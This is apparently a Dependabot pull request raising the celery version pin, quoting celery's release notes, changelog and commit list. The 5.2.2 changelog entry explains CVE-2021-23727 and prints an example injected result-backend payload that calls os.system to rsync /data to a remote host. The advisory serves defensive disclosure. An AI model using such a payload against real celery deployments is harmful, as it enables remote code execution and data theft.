Update celery requirement from <4.1,>=4.0 to >=4.0,<5.3

[dependabot]

Updates the requirements on celery to permit the latest version.

Release notes

Sourced from celery's releases.

v5.2.3

Release date: 2021-12-29 12:00 P.M UTC+6:00

Release by: Asif Saif Uddin

• Allow redis >= 4.0.2.
• Upgrade minimum required pymongo version to 3.11.1.
• tested pypy3.8 beta (#6998).
• Split Signature.or into subclasses' or (#7135).
• Prevent duplication in event loop on Consumer restart.
• Restrict setuptools>=59.1.1,<59.7.0.
• Kombu bumped to v5.2.3
• py-amqp bumped to v5.0.9
• Some docs & CI improvements.

What's Changed

• Comments and questions on celery/canvas.py by @​naomielst in celery/celery#7101
• create security policy doc by @​auvipy in celery/celery#7111
• create codeql beta by @​auvipy in celery/celery#7112
• start with switching to debian slim image by @​auvipy in celery/celery#6995
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/celery#7115
• space-added by @​kuzmich321 in celery/celery#7119
• unpin redis by @​auvipy in celery/celery#7120
• try pypy3.8 beta by @​auvipy in celery/celery#6998
• Upgrade required pymongo version to 3.11.1 by @​naomielst in celery/celery#7130
• Fix fake resolver for dnspython version 2, pymongo version 4 by @​naomielst in celery/celery#7131
• Add missing space by @​Koressi in celery/celery#7133
• Exclude pypy-windows checks from CI temporarily by @​naomielst in celery/celery#7146
• Fix flake8 error. by @​naomielst in celery/celery#7144
• update doc to reflect Celery 5.2.x by @​kviktor in celery/celery#7153
• Fix minor typo in documentation by @​amthorn in celery/celery#7160
• Docs for SQS: setting additional message properties by @​n0061q in celery/celery#7167
• docs: add sqs broker url setup warning by @​skonik in celery/celery#7170
• Split Signature.or into subclasses' or by @​treszkai in celery/celery#7135
• Fix typo in documentation by @​sadegh in celery/celery#7184
• add memory usage section to optimizing docs by @​pawl in celery/celery#7186
• Add changelog to PyPI sidebar by @​salty-horse in celery/celery#7188
• prevent dupes in event loop on Consumer restart (causing leak?) by @​pawl in celery/celery#7187
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/celery#7192
• try to make linters happy by @​auvipy in celery/celery#7193
• try newer bumped versions by @​auvipy in celery/celery#7194

New Contributors

• @​kuzmich321 made their first contribution in celery/celery#7119
• @​Koressi made their first contribution in celery/celery#7133
• @​kviktor made their first contribution in celery/celery#7153
• @​amthorn made their first contribution in celery/celery#7160
• @​n0061q made their first contribution in celery/celery#7167
• @​skonik made their first contribution in celery/celery#7170
• @​treszkai made their first contribution in celery/celery#7135

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.3

:release-date: 2021-12-29 12:00 P.M UTC+6:00 :release-by: Asif Saif Uddin

• Allow redis >= 4.0.2.
• Upgrade minimum required pymongo version to 3.11.1.
• tested pypy3.8 beta (#6998).
• Split Signature.or into subclasses' or (#7135).
• Prevent duplication in event loop on Consumer restart.
• Restrict setuptools>=59.1.1,<59.7.0.
• Kombu bumped to v5.2.3
• py-amqp bumped to v5.0.9
• Some docs & CI improvements.

.. _version-5.2.2:

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

  .. code-block:: python

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
  

  According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has

... (truncated)

Commits

• 56275f5 Bump version: 5.2.2 → 5.2.3
• 9532c73 Changelog for v5.2.3
• d4b97be try newer bumped versions (#7194)
• c79d5c7 try to make linters happy (#7193)
• d497b3e [pre-commit.ci] pre-commit autoupdate
• 815e652 Add changelog for 5.2.2.
• 7384b14 Fix changelog formatting.
• 5c3f155 Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).
• 527458d prevent duplication in event loop on Consumer restart
• a5f140b Add changelog to PyPI sidebar
• Additional commits viewable in compare view

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[dependabot]

Superseded by #9.